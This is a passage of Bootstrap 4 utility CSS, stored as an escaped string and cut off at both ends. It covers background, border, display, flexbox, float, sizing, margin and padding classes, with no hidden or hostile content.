!important;\n}\n\na.bg-info:focus, a.bg-info:hover {\n  background-color: #117a8b !important;\n}\n\n.bg-warning {\n  background-color: #ffc107 !important;\n}\n\na.bg-warning:focus, a.bg-warning:hover {\n  background-color: #d39e00 !important;\n}\n\n.bg-danger {\n  background-color: #dc3545 !important;\n}\n\na.bg-danger:focus, a.bg-danger:hover {\n  background-color: #bd2130 !important;\n}\n\n.bg-light {\n  background-color: #f8f9fa !important;\n}\n\na.bg-light:focus, a.bg-light:hover {\n  background-color: #dae0e5 !important;\n}\n\n.bg-dark {\n  background-color: #343a40 !important;\n}\n\na.bg-dark:focus, a.bg-dark:hover {\n  background-color: #1d2124 !important;\n}\n\n.bg-white {\n  background-color: #fff !important;\n}\n\n.bg-transparent {\n  background-color: transparent !important;\n}\n\n.border {\n  border: 1px solid #e9ecef !important;\n}\n\n.border-0 {\n  border: 0 !important;\n}\n\n.border-top-0 {\n  border-top: 0 !important;\n}\n\n.border-right-0 {\n  border-right: 0 !important;\n}\n\n.border-bottom-0 {\n  border-bottom: 0 !important;\n}\n\n.border-left-0 {\n  border-left: 0 !important;\n}\n\n.border-primary {\n  border-color: #007bff !important;\n}\n\n.border-secondary {\n  border-color: #868e96 !important;\n}\n\n.border-success {\n  border-color: #28a745 !important;\n}\n\n.border-info {\n  border-color: #17a2b8 !important;\n}\n\n.border-warning {\n  border-color: #ffc107 !important;\n}\n\n.border-danger {\n  border-color: #dc3545 !important;\n}\n\n.border-light {\n  border-color: #f8f9fa !important;\n}\n\n.border-dark {\n  border-color: #343a40 !important;\n}\n\n.border-white {\n  border-color: #fff !important;\n}\n\n.rounded {\n  border-radius: 0.25rem !important;\n}\n\n.rounded-top {\n  border-top-left-radius: 0.25rem !important;\n  border-top-right-radius: 0.25rem !important;\n}\n\n.rounded-right {\n  border-top-right-radius: 0.25rem !important;\n  border-bottom-right-radius: 0.25rem !important;\n}\n\n.rounded-bottom {\n  border-bottom-right-radius: 0.25rem !important;\n  border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-left {\n  border-top-left-radius: 0.25rem !important;\n  border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-circle {\n  border-radius: 50%;\n}\n\n.rounded-0 {\n  border-radius: 0;\n}\n\n.clearfix::after {\n  display: block;\n  clear: both;\n  content: \"\";\n}\n\n.d-none {\n  display: none !important;\n}\n\n.d-inline {\n  display: inline !important;\n}\n\n.d-inline-block {\n  display: inline-block !important;\n}\n\n.d-block {\n  display: block !important;\n}\n\n.d-table {\n  display: table !important;\n}\n\n.d-table-cell {\n  display: table-cell !important;\n}\n\n.d-flex {\n  display: -ms-flexbox !important;\n  display: flex !important;\n}\n\n.d-inline-flex {\n  display: -ms-inline-flexbox !important;\n  display: inline-flex !important;\n}\n\n@media (min-width: 576px) {\n  .d-sm-none {\n    display: none !important;\n  }\n  .d-sm-inline {\n    display: inline !important;\n  }\n  .d-sm-inline-block {\n    display: inline-block !important;\n  }\n  .d-sm-block {\n    display: block !important;\n  }\n  .d-sm-table {\n    display: table !important;\n  }\n  .d-sm-table-cell {\n    display: table-cell !important;\n  }\n  .d-sm-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-sm-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .d-md-none {\n    display: none !important;\n  }\n  .d-md-inline {\n    display: inline !important;\n  }\n  .d-md-inline-block {\n    display: inline-block !important;\n  }\n  .d-md-block {\n    display: block !important;\n  }\n  .d-md-table {\n    display: table !important;\n  }\n  .d-md-table-cell {\n    display: table-cell !important;\n  }\n  .d-md-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-md-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .d-lg-none {\n    display: none !important;\n  }\n  .d-lg-inline {\n    display: inline !important;\n  }\n  .d-lg-inline-block {\n    display: inline-block !important;\n  }\n  .d-lg-block {\n    display: block !important;\n  }\n  .d-lg-table {\n    display: table !important;\n  }\n  .d-lg-table-cell {\n    display: table-cell !important;\n  }\n  .d-lg-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-lg-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .d-xl-none {\n    display: none !important;\n  }\n  .d-xl-inline {\n    display: inline !important;\n  }\n  .d-xl-inline-block {\n    display: inline-block !important;\n  }\n  .d-xl-block {\n    display: block !important;\n  }\n  .d-xl-table {\n    display: table !important;\n  }\n  .d-xl-table-cell {\n    display: table-cell !important;\n  }\n  .d-xl-flex {\n    display: -ms-flexbox !important;\n    display: flex !important;\n  }\n  .d-xl-inline-flex {\n    display: -ms-inline-flexbox !important;\n    display: inline-flex !important;\n  }\n}\n\n.d-print-block {\n  display: none !important;\n}\n\n@media print {\n  .d-print-block {\n    display: block !important;\n  }\n}\n\n.d-print-inline {\n  display: none !important;\n}\n\n@media print {\n  .d-print-inline {\n    display: inline !important;\n  }\n}\n\n.d-print-inline-block {\n  display: none !important;\n}\n\n@media print {\n  .d-print-inline-block {\n    display: inline-block !important;\n  }\n}\n\n@media print {\n  .d-print-none {\n    display: none !important;\n  }\n}\n\n.embed-responsive {\n  position: relative;\n  display: block;\n  width: 100%;\n  padding: 0;\n  overflow: hidden;\n}\n\n.embed-responsive::before {\n  display: block;\n  content: \"\";\n}\n\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n  position: absolute;\n  top: 0;\n  bottom: 0;\n  left: 0;\n  width: 100%;\n  height: 100%;\n  border: 0;\n}\n\n.embed-responsive-21by9::before {\n  padding-top: 42.857143%;\n}\n\n.embed-responsive-16by9::before {\n  padding-top: 56.25%;\n}\n\n.embed-responsive-4by3::before {\n  padding-top: 75%;\n}\n\n.embed-responsive-1by1::before {\n  padding-top: 100%;\n}\n\n.flex-row {\n  -ms-flex-direction: row !important;\n      flex-direction: row !important;\n}\n\n.flex-column {\n  -ms-flex-direction: column !important;\n      flex-direction: column !important;\n}\n\n.flex-row-reverse {\n  -ms-flex-direction: row-reverse !important;\n      flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n  -ms-flex-direction: column-reverse !important;\n      flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n  -ms-flex-wrap: wrap !important;\n      flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n  -ms-flex-wrap: nowrap !important;\n      flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n  -ms-flex-wrap: wrap-reverse !important;\n      flex-wrap: wrap-reverse !important;\n}\n\n.justify-content-start {\n  -ms-flex-pack: start !important;\n      justify-content: flex-start !important;\n}\n\n.justify-content-end {\n  -ms-flex-pack: end !important;\n      justify-content: flex-end !important;\n}\n\n.justify-content-center {\n  -ms-flex-pack: center !important;\n      justify-content: center !important;\n}\n\n.justify-content-between {\n  -ms-flex-pack: justify !important;\n      justify-content: space-between !important;\n}\n\n.justify-content-around {\n  -ms-flex-pack: distribute !important;\n      justify-content: space-around !important;\n}\n\n.align-items-start {\n  -ms-flex-align: start !important;\n      align-items: flex-start !important;\n}\n\n.align-items-end {\n  -ms-flex-align: end !important;\n      align-items: flex-end !important;\n}\n\n.align-items-center {\n  -ms-flex-align: center !important;\n      align-items: center !important;\n}\n\n.align-items-baseline {\n  -ms-flex-align: baseline !important;\n      align-items: baseline !important;\n}\n\n.align-items-stretch {\n  -ms-flex-align: stretch !important;\n      align-items: stretch !important;\n}\n\n.align-content-start {\n  -ms-flex-line-pack: start !important;\n      align-content: flex-start !important;\n}\n\n.align-content-end {\n  -ms-flex-line-pack: end !important;\n      align-content: flex-end !important;\n}\n\n.align-content-center {\n  -ms-flex-line-pack: center !important;\n      align-content: center !important;\n}\n\n.align-content-between {\n  -ms-flex-line-pack: justify !important;\n      align-content: space-between !important;\n}\n\n.align-content-around {\n  -ms-flex-line-pack: distribute !important;\n      align-content: space-around !important;\n}\n\n.align-content-stretch {\n  -ms-flex-line-pack: stretch !important;\n      align-content: stretch !important;\n}\n\n.align-self-auto {\n  -ms-flex-item-align: auto !important;\n      align-self: auto !important;\n}\n\n.align-self-start {\n  -ms-flex-item-align: start !important;\n      align-self: flex-start !important;\n}\n\n.align-self-end {\n  -ms-flex-item-align: end !important;\n      align-self: flex-end !important;\n}\n\n.align-self-center {\n  -ms-flex-item-align: center !important;\n      align-self: center !important;\n}\n\n.align-self-baseline {\n  -ms-flex-item-align: baseline !important;\n      align-self: baseline !important;\n}\n\n.align-self-stretch {\n  -ms-flex-item-align: stretch !important;\n      align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n  .flex-sm-row {\n    -ms-flex-direction: row !important;\n        flex-direction: row !important;\n  }\n  .flex-sm-column {\n    -ms-flex-direction: column !important;\n        flex-direction: column !important;\n  }\n  .flex-sm-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n        flex-direction: row-reverse !important;\n  }\n  .flex-sm-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n        flex-direction: column-reverse !important;\n  }\n  .flex-sm-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-sm-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-sm-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-sm-start {\n    -ms-flex-pack: start !important;\n        justify-content: flex-start !important;\n  }\n  .justify-content-sm-end {\n    -ms-flex-pack: end !important;\n        justify-content: flex-end !important;\n  }\n  .justify-content-sm-center {\n    -ms-flex-pack: center !important;\n        justify-content: center !important;\n  }\n  .justify-content-sm-between {\n    -ms-flex-pack: justify !important;\n        justify-content: space-between !important;\n  }\n  .justify-content-sm-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-sm-start {\n    -ms-flex-align: start !important;\n        align-items: flex-start !important;\n  }\n  .align-items-sm-end {\n    -ms-flex-align: end !important;\n        align-items: flex-end !important;\n  }\n  .align-items-sm-center {\n    -ms-flex-align: center !important;\n        align-items: center !important;\n  }\n  .align-items-sm-baseline {\n    -ms-flex-align: baseline !important;\n        align-items: baseline !important;\n  }\n  .align-items-sm-stretch {\n    -ms-flex-align: stretch !important;\n        align-items: stretch !important;\n  }\n  .align-content-sm-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-sm-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-sm-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-sm-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-sm-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-sm-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-sm-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-sm-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-sm-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-sm-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-sm-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-sm-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .flex-md-row {\n    -ms-flex-direction: row !important;\n        flex-direction: row !important;\n  }\n  .flex-md-column {\n    -ms-flex-direction: column !important;\n        flex-direction: column !important;\n  }\n  .flex-md-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n        flex-direction: row-reverse !important;\n  }\n  .flex-md-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n        flex-direction: column-reverse !important;\n  }\n  .flex-md-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-md-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-md-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-md-start {\n    -ms-flex-pack: start !important;\n        justify-content: flex-start !important;\n  }\n  .justify-content-md-end {\n    -ms-flex-pack: end !important;\n        justify-content: flex-end !important;\n  }\n  .justify-content-md-center {\n    -ms-flex-pack: center !important;\n        justify-content: center !important;\n  }\n  .justify-content-md-between {\n    -ms-flex-pack: justify !important;\n        justify-content: space-between !important;\n  }\n  .justify-content-md-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-md-start {\n    -ms-flex-align: start !important;\n        align-items: flex-start !important;\n  }\n  .align-items-md-end {\n    -ms-flex-align: end !important;\n        align-items: flex-end !important;\n  }\n  .align-items-md-center {\n    -ms-flex-align: center !important;\n        align-items: center !important;\n  }\n  .align-items-md-baseline {\n    -ms-flex-align: baseline !important;\n        align-items: baseline !important;\n  }\n  .align-items-md-stretch {\n    -ms-flex-align: stretch !important;\n        align-items: stretch !important;\n  }\n  .align-content-md-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-md-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-md-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-md-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-md-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-md-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-md-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-md-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-md-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-md-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-md-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-md-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .flex-lg-row {\n    -ms-flex-direction: row !important;\n        flex-direction: row !important;\n  }\n  .flex-lg-column {\n    -ms-flex-direction: column !important;\n        flex-direction: column !important;\n  }\n  .flex-lg-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n        flex-direction: row-reverse !important;\n  }\n  .flex-lg-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n        flex-direction: column-reverse !important;\n  }\n  .flex-lg-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-lg-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-lg-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-lg-start {\n    -ms-flex-pack: start !important;\n        justify-content: flex-start !important;\n  }\n  .justify-content-lg-end {\n    -ms-flex-pack: end !important;\n        justify-content: flex-end !important;\n  }\n  .justify-content-lg-center {\n    -ms-flex-pack: center !important;\n        justify-content: center !important;\n  }\n  .justify-content-lg-between {\n    -ms-flex-pack: justify !important;\n        justify-content: space-between !important;\n  }\n  .justify-content-lg-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-lg-start {\n    -ms-flex-align: start !important;\n        align-items: flex-start !important;\n  }\n  .align-items-lg-end {\n    -ms-flex-align: end !important;\n        align-items: flex-end !important;\n  }\n  .align-items-lg-center {\n    -ms-flex-align: center !important;\n        align-items: center !important;\n  }\n  .align-items-lg-baseline {\n    -ms-flex-align: baseline !important;\n        align-items: baseline !important;\n  }\n  .align-items-lg-stretch {\n    -ms-flex-align: stretch !important;\n        align-items: stretch !important;\n  }\n  .align-content-lg-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-lg-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-lg-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-lg-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-lg-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-lg-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-lg-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-lg-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-lg-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-lg-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-lg-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-lg-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .flex-xl-row {\n    -ms-flex-direction: row !important;\n        flex-direction: row !important;\n  }\n  .flex-xl-column {\n    -ms-flex-direction: column !important;\n        flex-direction: column !important;\n  }\n  .flex-xl-row-reverse {\n    -ms-flex-direction: row-reverse !important;\n        flex-direction: row-reverse !important;\n  }\n  .flex-xl-column-reverse {\n    -ms-flex-direction: column-reverse !important;\n        flex-direction: column-reverse !important;\n  }\n  .flex-xl-wrap {\n    -ms-flex-wrap: wrap !important;\n        flex-wrap: wrap !important;\n  }\n  .flex-xl-nowrap {\n    -ms-flex-wrap: nowrap !important;\n        flex-wrap: nowrap !important;\n  }\n  .flex-xl-wrap-reverse {\n    -ms-flex-wrap: wrap-reverse !important;\n        flex-wrap: wrap-reverse !important;\n  }\n  .justify-content-xl-start {\n    -ms-flex-pack: start !important;\n        justify-content: flex-start !important;\n  }\n  .justify-content-xl-end {\n    -ms-flex-pack: end !important;\n        justify-content: flex-end !important;\n  }\n  .justify-content-xl-center {\n    -ms-flex-pack: center !important;\n        justify-content: center !important;\n  }\n  .justify-content-xl-between {\n    -ms-flex-pack: justify !important;\n        justify-content: space-between !important;\n  }\n  .justify-content-xl-around {\n    -ms-flex-pack: distribute !important;\n        justify-content: space-around !important;\n  }\n  .align-items-xl-start {\n    -ms-flex-align: start !important;\n        align-items: flex-start !important;\n  }\n  .align-items-xl-end {\n    -ms-flex-align: end !important;\n        align-items: flex-end !important;\n  }\n  .align-items-xl-center {\n    -ms-flex-align: center !important;\n        align-items: center !important;\n  }\n  .align-items-xl-baseline {\n    -ms-flex-align: baseline !important;\n        align-items: baseline !important;\n  }\n  .align-items-xl-stretch {\n    -ms-flex-align: stretch !important;\n        align-items: stretch !important;\n  }\n  .align-content-xl-start {\n    -ms-flex-line-pack: start !important;\n        align-content: flex-start !important;\n  }\n  .align-content-xl-end {\n    -ms-flex-line-pack: end !important;\n        align-content: flex-end !important;\n  }\n  .align-content-xl-center {\n    -ms-flex-line-pack: center !important;\n        align-content: center !important;\n  }\n  .align-content-xl-between {\n    -ms-flex-line-pack: justify !important;\n        align-content: space-between !important;\n  }\n  .align-content-xl-around {\n    -ms-flex-line-pack: distribute !important;\n        align-content: space-around !important;\n  }\n  .align-content-xl-stretch {\n    -ms-flex-line-pack: stretch !important;\n        align-content: stretch !important;\n  }\n  .align-self-xl-auto {\n    -ms-flex-item-align: auto !important;\n        align-self: auto !important;\n  }\n  .align-self-xl-start {\n    -ms-flex-item-align: start !important;\n        align-self: flex-start !important;\n  }\n  .align-self-xl-end {\n    -ms-flex-item-align: end !important;\n        align-self: flex-end !important;\n  }\n  .align-self-xl-center {\n    -ms-flex-item-align: center !important;\n        align-self: center !important;\n  }\n  .align-self-xl-baseline {\n    -ms-flex-item-align: baseline !important;\n        align-self: baseline !important;\n  }\n  .align-self-xl-stretch {\n    -ms-flex-item-align: stretch !important;\n        align-self: stretch !important;\n  }\n}\n\n.float-left {\n  float: left !important;\n}\n\n.float-right {\n  float: right !important;\n}\n\n.float-none {\n  float: none !important;\n}\n\n@media (min-width: 576px) {\n  .float-sm-left {\n    float: left !important;\n  }\n  .float-sm-right {\n    float: right !important;\n  }\n  .float-sm-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 768px) {\n  .float-md-left {\n    float: left !important;\n  }\n  .float-md-right {\n    float: right !important;\n  }\n  .float-md-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 992px) {\n  .float-lg-left {\n    float: left !important;\n  }\n  .float-lg-right {\n    float: right !important;\n  }\n  .float-lg-none {\n    float: none !important;\n  }\n}\n\n@media (min-width: 1200px) {\n  .float-xl-left {\n    float: left !important;\n  }\n  .float-xl-right {\n    float: right !important;\n  }\n  .float-xl-none {\n    float: none !important;\n  }\n}\n\n.fixed-top {\n  position: fixed;\n  top: 0;\n  right: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n.fixed-bottom {\n  position: fixed;\n  right: 0;\n  bottom: 0;\n  left: 0;\n  z-index: 1030;\n}\n\n@supports ((position: -webkit-sticky) or (position: sticky)) {\n  .sticky-top {\n    position: -webkit-sticky;\n    position: sticky;\n    top: 0;\n    z-index: 1020;\n  }\n}\n\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  white-space: nowrap;\n  -webkit-clip-path: inset(50%);\n          clip-path: inset(50%);\n  border: 0;\n}\n\n.sr-only-focusable:active, .sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  overflow: visible;\n  clip: auto;\n  white-space: normal;\n  -webkit-clip-path: none;\n          clip-path: none;\n}\n\n.w-25 {\n  width: 25% !important;\n}\n\n.w-50 {\n  width: 50% !important;\n}\n\n.w-75 {\n  width: 75% !important;\n}\n\n.w-100 {\n  width: 100% !important;\n}\n\n.h-25 {\n  height: 25% !important;\n}\n\n.h-50 {\n  height: 50% !important;\n}\n\n.h-75 {\n  height: 75% !important;\n}\n\n.h-100 {\n  height: 100% !important;\n}\n\n.mw-100 {\n  max-width: 100% !important;\n}\n\n.mh-100 {\n  max-height: 100% !important;\n}\n\n.m-0 {\n  margin: 0 !important;\n}\n\n.mt-0 {\n  margin-top: 0 !important;\n}\n\n.mr-0 {\n  margin-right: 0 !important;\n}\n\n.mb-0 {\n  margin-bottom: 0 !important;\n}\n\n.ml-0 {\n  margin-left: 0 !important;\n}\n\n.mx-0 {\n  margin-right: 0 !important;\n  margin-left: 0 !important;\n}\n\n.my-0 {\n  margin-top: 0 !important;\n  margin-bottom: 0 !important;\n}\n\n.m-1 {\n  margin: 0.25rem !important;\n}\n\n.mt-1 {\n  margin-top: 0.25rem !important;\n}\n\n.mr-1 {\n  margin-right: 0.25rem !important;\n}\n\n.mb-1 {\n  margin-bottom: 0.25rem !important;\n}\n\n.ml-1 {\n  margin-left: 0.25rem !important;\n}\n\n.mx-1 {\n  margin-right: 0.25rem !important;\n  margin-left: 0.25rem !important;\n}\n\n.my-1 {\n  margin-top: 0.25rem !important;\n  margin-bottom: 0.25rem !important;\n}\n\n.m-2 {\n  margin: 0.5rem !important;\n}\n\n.mt-2 {\n  margin-top: 0.5rem !important;\n}\n\n.mr-2 {\n  margin-right: 0.5rem !important;\n}\n\n.mb-2 {\n  margin-bottom: 0.5rem !important;\n}\n\n.ml-2 {\n  margin-left: 0.5rem !important;\n}\n\n.mx-2 {\n  margin-right: 0.5rem !important;\n  margin-left: 0.5rem !important;\n}\n\n.my-2 {\n  margin-top: 0.5rem !important;\n  margin-bottom: 0.5rem !important;\n}\n\n.m-3 {\n  margin: 1rem !important;\n}\n\n.mt-3 {\n  margin-top: 1rem !important;\n}\n\n.mr-3 {\n  margin-right: 1rem !important;\n}\n\n.mb-3 {\n  margin-bottom: 1rem !important;\n}\n\n.ml-3 {\n  margin-left: 1rem !important;\n}\n\n.mx-3 {\n  margin-right: 1rem !important;\n  margin-left: 1rem !important;\n}\n\n.my-3 {\n  margin-top: 1rem !important;\n  margin-bottom: 1rem !important;\n}\n\n.m-4 {\n  margin: 1.5rem !important;\n}\n\n.mt-4 {\n  margin-top: 1.5rem !important;\n}\n\n.mr-4 {\n  margin-right: 1.5rem !important;\n}\n\n.mb-4 {\n  margin-bottom: 1.5rem !important;\n}\n\n.ml-4 {\n  margin-left: 1.5rem !important;\n}\n\n.mx-4 {\n  margin-right: 1.5rem !important;\n  margin-left: 1.5rem !important;\n}\n\n.my-4 {\n  margin-top: 1.5rem !important;\n  margin-bottom: 1.5rem !important;\n}\n\n.m-5 {\n  margin: 3rem !important;\n}\n\n.mt-5 {\n  margin-top: 3rem !important;\n}\n\n.mr-5 {\n  margin-right: 3rem !important;\n}\n\n.mb-5 {\n  margin-bottom: 3rem !important;\n}\n\n.ml-5 {\n  margin-left: 3rem !important;\n}\n\n.mx-5 {\n  margin-right: 3rem !important;\n  margin-left: 3rem !important;\n}\n\n.my-5 {\n  margin-top: 3rem !important;\n  margin-bottom: 3rem !important;\n}\n\n.p-0 {\n  padding: 0 !important;\n}\n\n.pt-0 {\n  padding-top: 0 !important;\n}\n\n.pr-0 {\n  padding-right: 0 !important;\n}\n\n.pb-0 {\n  padding-bottom: 0 !important;\n}\n\n.pl-0 {\n  padding-left: 0 !important;\n}\n\n.px-0 {\n  padding-right: 0 !important;\n  padding-left: 0 !important;\n}\n\n.py-0 {\n  padding-top: 0 !important;\n  padding-bottom: 0 !important;\n}\n\n.p-1 {\n  padding: 0.25rem !important;\n}\n\n.pt-1 {\n  padding-top: 0.25rem !important;\n}\n\n.pr-1 {\n  padding-right: 0.25rem !important;\n}\n\n.pb-1 {\n  padding-bottom: 0.25rem !important;\n}\n\n.pl-1 {\n  padding-left: 0.25rem !important;\n}\n\n.px-1 {\n  padding-right: 0.25rem !important;\n  padding-left: 0.25rem !important;\n}\n\n.py-1 {\n  padding-top: 0.25rem !important;\n  padding-bottom: 0.25rem !important;\n}\n\n.p-2 {\n  padding: 0.5rem !important;\n}\n\n.pt-2 {\n  padding-top: 0.5rem !important;\n}\n\n.pr-2 {\n  padding-right: 0.5rem !important;\n}\n\n.pb-2 {\n  padding-bottom: 0.5rem !important;\n}\n\n.pl-2 {\n  padding-left: 0.5rem !important;\n}\n\n.px-2 {\n  padding-right: 0.5rem !important;\n  padding-left: 0.5rem !important;\n}\n\n.py-2 {\n  padding-top: 0.5rem !important;\n  padding-bottom: 0.5rem !important;\n}\n\n.p-3 {\n  padding: 1rem !important;\n}\n\n.pt-3 {\n  padding-top: 1rem !important;\n}\n\n.pr-3 {\n  padding-right: 1rem !important;\n}\n\n.pb-3 {\n  padding-bottom: 1rem !important;\n}\n\n.pl-3 {\n  padding-left: 1rem !important;\n}\n\n.px-3 {\n  padding-right: 1rem !important;\n  padding-left: 1rem !important;\n}\n\n.py-3 {\n  padding-top: 1rem !important;\n  padding-bottom: 1rem !important;\n}\n\n.p-4 {\n  padding: 1.5rem !important;\n}\n\n.pt-4 {\n  padding-top: 1.5rem !important;\n}\n\n.pr-4 {\n  padding-right: 1.5rem !important;\n}\n\n.pb-4 {\n  padding-bottom: 1.5rem !important;\n}\n\n.pl-4 {\n  padding-left: 1.5rem !important;\n}\n\n.px-4 {\n  padding-right: 1.5rem !important;\n  padding-left: 1.5rem !important;\n}\n\n.py-4 {\n  padding-top: 1.5rem !important;\n  padding-bottom: 1.5rem !important;\n}\n\n.p-5 {\n  padding: 3rem !important;\n}\n\n.pt-5 {\n  padding-top: 3rem !important;\n}\n\n.pr-5 {\n  padding-right: 3rem !important;\n}\n\n.pb-5 {\n  padding-bottom: 3rem !important;\n}\n\n.pl-5 {\n  padding-left: 3rem !important;\n}\n\n.px-5 {\n  padding-right: 3rem !important;\n  padding-left: 3rem !important;\n}\n\n.py-5 {\n  padding-top: 3rem !important;\n  padding-bottom: 3rem !important;\n}\n\n.m-auto {\n  margin: auto !important;\n}\n\n.mt-auto {\n  margin-top: auto !important;\n}\n\n.mr-auto {\n  margin-right: auto !important;\n}\n\n.mb-auto {\n  margin-bottom: auto !important;\n}\n\n.ml-auto {\n  margin-left: auto !important;\n}\n\n.mx-auto {\n  margin-right: auto !important;\n  margin-left: auto !important;\n}\n\n.my-auto {\n  margin-top: auto !important;\n  margin-bottom: auto !important;\n}\n\n@media (min-width: 576px) {\n  .m-sm-0 {\n    margin: 0 !important;\n  }\n  .mt-sm-0 {\n    margin-top: 0 !important;\n  }\n  .mr-sm-0 {\n    margin-right: 0 !important;\n  }\n  .mb-sm-0 {\n    margin-bottom: 0 !important;\n  }\n  .ml-sm-0 {\n    margin-left: 0 !important;\n  }\n  .mx-sm-0 {\n    margin-right: 0 !important;\n    margin-left: 0 !important;\n  }\n  .my-sm-0 {\n    margin-top: 0 !important;\n    margin-bottom: 0 !important;\n  }\n  .m-sm-1 {\n    margin: 0.25rem !important;\n  }\n  .mt-sm-1 {\n    margin-top: 0.25rem !important;\n  }\n  .mr-sm-1 {\n    margin-right: 0.25rem !important;\n  }\n  .mb-sm-1 {\n    margin-bottom: 0.25rem !important;\n  }\n  .ml-sm-1 {\n    margin-left: 0.25rem 